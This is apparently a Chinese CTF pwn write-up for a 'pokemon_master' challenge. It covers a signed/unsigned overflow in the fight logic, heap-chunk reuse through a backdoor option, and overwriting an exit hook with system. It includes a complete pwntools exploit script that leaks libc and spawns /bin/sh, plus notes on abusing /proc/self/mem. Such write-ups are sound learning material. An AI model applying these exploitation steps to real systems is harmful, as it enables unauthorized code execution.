在FIght函数逻辑中,有以下片段,这里其实都是通过计算精灵的属性值,来实现蘸豆。我们不妨设想一下,它们中很有可能就包含精灵的攻击属性和防御属性。虽有大部分都是int类型,但是实际上是无符号类型在运算
<font style="color:rgb(77, 77, 77);">*(_QWORD *)</font>
允许你在不知道原始数据类型的情况下,以特定的方式(这里是64位无符号整数)解释和访问内存中的数据。
所以我们选取皮卡丘,在打败两次小怪之后,买防御剂,让自己的攻击溢出到负数,但是比较用的是Qword所以实际上还是unsigned int,此时速度比QWQ快,能够一击秒杀QWQ。这样会free掉特殊堆块,利用case666,然后申请两次申请回特殊堆块(因为第一次是QWQ的堆块。),之后改写ex1t的hook为system即可getshell。
free掉的两个堆块进入bin
0X3 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * context (log_level="debug" ) p=process("./pokemon_master" ) #p=remote("43.248.97.213" ,30058) def cmd (i) : p.sendlineafter (">>>" ,str(i)) #choose pikapi cmd (1 ) #recv libcaddr p.recvuntil ("gift:0x" ) puts_addr=int (p.recv(12 )[-12 :].rjust(16 ,b'0' ),16 ) print("puts" ,hex(puts_addr)) libcbase=puts_addr-0x080e50 system=libcbase+0x050d70 #attack TAT cmd(2 ) cmd(2 ) cmd(1 ) #buy defense agents cmd(1 ) cmd(2 ) cmd(1 ) cmd(2 ) cmd(3 ) #gdb.attach(p) #attack QWQ cmd(2 ) cmd(1 ) cmd(1 ) #one gadgte one=[0x50a47 +libcbase,0xebc81 +libcbase,0xebc85 +libcbase,0xebc88 +libcbase] #CMD 666 backdoor cmd(666 ) p.sendline(p64(system)) cmd(666 ) p.sendline(p64(system)) print("libcbase" ,hex(libcbase)) #gdb.attach(p,"b *$rebase(0x137b)" ) cmd(4 ) p.sendline("/bin/sh\x00" ) p.interactive()
temp wahahabox 提示:/proc下的文件非常有用
/proc/self/当前存储进程信息的目录
environ
exe
fd
maps
映射信息
libc地址,elf地址,ld地址
libc上有用的东西
system binsh,one_gadget,mprotect, IO_File
/lib/x86_64-linux-gnu/libc.so.6
/proc/self/mem
就算是只读的rodata段上的数据也是可以的。
open、read和lseek才有可能完成内存改写的利用。
ida7.7 插件比较多, 逆向可能需要
ida8.3
ida9.0 比较新,支持很多新特性
类型转换的问题
int的数据转换成unsigned的数据,未经过处理的话,就会有问题。
-1 bigbigbig
0xffffffffff…..
Qword <-> size_t
Dword <-> unsigned